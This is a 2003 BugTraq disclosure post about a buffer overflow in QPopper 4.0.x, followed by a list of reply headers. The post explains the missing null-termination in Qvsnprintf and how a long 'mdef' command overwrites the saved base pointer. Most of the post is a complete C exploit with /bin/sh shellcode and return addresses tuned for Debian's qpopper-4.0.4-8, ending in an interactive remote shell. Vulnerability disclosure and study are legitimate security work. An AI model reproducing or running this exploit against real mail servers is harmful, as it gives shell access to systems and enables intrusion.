BugTraq
QPopper 4.0.x buffer overflow vulnerability Mar 10 2003 02:31PM
Florian Heinz (heinz cronon-ag de) (3 replies)
Hello,

Under certain conditions it is possible to execute arbitrary code using
a buffer overflow in the recent qpopper.

You need a valid username/password-combination and code is (depending on
the setup) usually executed with the user's uid and gid mail.

Explanation:

Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
function is used unconditionally on any system, regardless if the system
has its own vsnprintf().
The function correctly writes up to 'n' bytes into the buffer, but fails
to null-terminate it, if buffer-space runs out while copying the
format-string (so the obvious fix is, null-terminate the buffer in
Qvsnprintf()).
This is a problem in pop_msg() (popper/pop_msg.c).
The call to Qvsnprintf() can leave the buffer 'message' unterminated, so
the successive call to strcat (strcat(message,"\r\n")) writes somewhere
into thew stack. What it exactly overwrites depends heavily on the
individual binary and the current stack-data (where is the next
null-byte).
I successfully managed to execute arbitrary code using the
'mdef'-command with the binary in the most recent debian-package
'qpopper-4.0.4-8'
Sending 'mdef <macroname>()' with a macro-name of about 1000 bytes
fills the buffer leaving it unterminated. The strcat overwrites the
least significant byte of the saved basepointer on the stack,
now pointing inside the buffer. On return of pop_mdef() (file
pop_extend.c), the return-address is now fetched from within our buffer
(and of course pointing inside our buffer), allowing to, for example,
spawn a shell.
The Macroname may not include bytes causing isspace() to return true
and, of course, no null-byte, so shellcode must be appropriate crafted.
I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
SuSE is more lucky, strcat doesn't overwrite critical values. I have
not yet tested other distributions.

Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
debian qpopper-4.0.4-8:

-- snip --

#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x08\x40"
"\x40\x40\xcd\x80";

#define BUFLEN 1006
#define RETLEN 148
#define RETADDR 0xbfffd304

int main (int argc, char **argv) {
int fd, len, i, retaddr = RETADDR;
char *bp, buf[2000];
struct sockaddr_in peer;
fd_set fs;

if (argc != 4) {
fprintf(stderr, "Usage: %s <ip> <user> <pass>\n\n", argv[0]);
exit(EXIT_FAILURE);
}

peer.sin_family = AF_INET;
peer.sin_port = htons(110);
peer.sin_addr.s_addr = inet_addr(argv[1]);
fd = socket(AF_INET, SOCK_STREAM, 0);
if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) {
perror("connect");
exit(EXIT_FAILURE);
}
snprintf(buf, 1024, "USER %s\n", argv[2]);
write(fd, buf, strlen(buf));
snprintf(buf, 1024, "PASS %s\n", argv[3]);
write(fd, buf, strlen(buf));
memset(buf, 0x90, 2000);
memcpy(buf, "mdef ", 5);
memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffffffc);
for (i = 0; i < RETLEN; i += 4)
memcpy(bp+i+2, &retaddr, sizeof(int));
buf[BUFLEN-2] = '(';
buf[BUFLEN-1] = ')';
buf[BUFLEN] = '\n';
write(fd, buf, BUFLEN+1);
while (1) {
FD_ZERO(&fs);
FD_SET(0, &fs);
FD_SET(fd, &fs);
select(fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(0, &fs)) {
if ((len = read(0, buf, 1000)) <= 0)
break;
write(fd, buf, len);
} else {
if ((len = read(fd, buf, 1000)) <= 0)
break;
write(1, buf, len);
}
}

exit(EXIT_SUCCESS);
}

-- snap --

This is the short version. An enhanced version with error-checking,
bufsize- and return-address autodetection can be found on
http://nstx.dereference.de/snippets/qex.c

Feedback is welcome.

regards,

Florian Heinz
Cronon AG
http://www.cronon.org

PS: sorry for the bad english ;)

[ reply ]
Re: QPopper 4.0.x buffer overflow vulnerability Mar 12 2003 01:19PM
Jaroslaw Zachwieja (grok tnt pl) (1 replies)
RE: QPopper 4.0.x buffer overflow vulnerability Mar 12 2003 05:03PM
Jonathan A. Zdziarski (jonathan networkdweebs com)
Re: QPopper 4.0.x buffer overflow vulnerability Mar 12 2003 09:33AM
Torsten Mueller (torsten archesoft de) (1 replies)
Re: QPopper 4.0.x buffer overflow vulnerability Mar 12 2003 09:55AM
Florian Heinz (heinz cronon-ag de)
Re: QPopper 4.0.x buffer overflow vulnerability Mar 12 2003 03:05AM
Randall Gellens (rg_public 1 flagg qualcomm com) (2 replies)
Re: QPopper 4.0.x buffer overflow vulnerability Mar 13 2003 07:12AM
Harald Hellmuth (hh hostserver de)
Re: QPopper 4.0.x buffer overflow vulnerability Mar 12 2003 04:05AM
Florian Heinz (heinz cronon-ag de)


 

Privacy Statement
Copyright 2010, SecurityFocus